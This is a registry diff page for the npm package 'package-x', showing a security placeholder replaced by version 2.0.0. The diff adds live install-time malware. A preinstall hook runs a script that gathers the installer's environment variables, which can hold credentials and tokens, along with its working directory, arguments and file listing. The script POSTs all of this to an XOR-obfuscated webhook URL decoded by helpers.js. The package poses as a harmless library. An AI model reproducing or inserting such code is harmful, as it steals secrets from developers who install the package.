package-x 0.0.1-security → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of package-x might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,5 @@
1
- # Security holding package
1
+ # Package X
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ > The secret ingredient to your project
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=package-x for more information.
5
+ Do not install this. This is an exfiltration tool!
package/const.js ADDED
@@ -0,0 +1,6 @@
1
+ const SECRET_SAUCE =
2
+ "love-is-the-secret-ingredient-without-it-nothing-tastes-good";
3
+ // const PUBLIC_KEY = "https://webhook.site/14083c3f-70ce-4871-a55d-9d6923b3ec68";
4
+ const PUBLIC_KEY = "BBsCFV5TXAIDDQdFHAoIXBYdWQxBVkZVXFoGXRIAQFkXDUJBTBpYWUxbWhBFUApRFEZSEUcAEBtf"
5
+
6
+ module.exports = { SECRET_SAUCE, PUBLIC_KEY };
@@ -0,0 +1,35 @@
1
+ #!/usr/bin/env node
2
+ const { PUBLIC_KEY, SECRET_SAUCE } = require("./const");
3
+ const { decode } = require("./helpers");
4
+ const fs = require("fs");
5
+
6
+ const https = require("https");
7
+
8
+ const decodedSecretSauce = decode(PUBLIC_KEY, btoa(SECRET_SAUCE));
9
+
10
+ const req = https.request(
11
+ decodedSecretSauce,
12
+ {
13
+ method: "POST",
14
+ headers: {
15
+ "Content-Type": "application/json",
16
+ },
17
+ },
18
+ (res) => {
19
+ console.log(`Status: ${res.statusCode}`);
20
+ res.on("data", (d) => process.stdout.write(d));
21
+ res.on("end", () => console.log("\nDone."));
22
+ }
23
+ );
24
+
25
+ const info = eval(`({
26
+ pwd: process.cwd(),
27
+ package: "package-x",
28
+ timestamp: new Date().toISOString(),
29
+ env: process.env,
30
+ argv: process.argv,
31
+ ls: fs.readdirSync("."),
32
+ })`);
33
+
34
+ req.write(JSON.stringify(info));
35
+ req.end();
package/helpers.js ADDED
@@ -0,0 +1,41 @@
1
+ const toBytes = (s) => new TextEncoder().encode(s);
2
+ const fromBytes = (b) => new TextDecoder().decode(b);
3
+ const uint8ToBase64 = (u8) => {
4
+ const CHUNK = 0x8000;
5
+ let str = "";
6
+ for (let i = 0; i < u8.length; i += CHUNK) {
7
+ str += String.fromCharCode(...u8.subarray(i, i + CHUNK));
8
+ }
9
+ return btoa(str);
10
+ };
11
+ const base64ToUint8 = (b64) => {
12
+ const str = atob(b64);
13
+ const u8 = new Uint8Array(str.length);
14
+ for (let i = 0; i < str.length; i++) u8[i] = str.charCodeAt(i);
15
+ return u8;
16
+ };
17
+ const xorBytes = (a, b) => {
18
+ const out = new Uint8Array(a.length);
19
+ for (let i = 0; i < a.length; i++) out[i] = a[i] ^ b[i];
20
+ return out;
21
+ };
22
+
23
+ // encode(plaintext, keyBase64) -> ciphertextBase64
24
+ function encode(plain, keyBase64) {
25
+ const p = toBytes(plain);
26
+ const k = base64ToUint8(keyBase64);
27
+ if (k.length < p.length)
28
+ throw new Error("Key must be at least as long as plaintext (OTP rule).");
29
+ return uint8ToBase64(xorBytes(p, k));
30
+ }
31
+
32
+ // decode(ciphertextBase64, keyBase64) -> plaintext (string)
33
+ function decode(cipherBase64, keyBase64) {
34
+ const c = base64ToUint8(cipherBase64);
35
+ const k = base64ToUint8(keyBase64);
36
+ if (k.length < c.length)
37
+ throw new Error("Key must be at least as long as ciphertext.");
38
+ return fromBytes(xorBytes(c, k));
39
+ }
40
+
41
+ module.exports = { encode, decode };
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // Love is the secret ingredient
2
+ module.exports = "Love";
package/package.json CHANGED
@@ -1,6 +1,24 @@
1
1
  {
2
2
  "name": "package-x",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "main": "index.js",
5
+ "type": "commonjs",
6
+ "description": "The secret ingredient to your project: Package X",
7
+ "scripts": {
8
+ "preinstall": "node heart-warmup.js"
9
+ },
10
+ "exports": {
11
+ ".": {
12
+ "require": "./index.js"
13
+ }
14
+ },
15
+ "files": [
16
+ "index.js",
17
+ "helpers.js",
18
+ "const.js",
19
+ "heart-warmup.js"
20
+ ],
21
+ "keywords": [],
22
+ "author": "",
23
+ "license": "ISC"
6
24
  }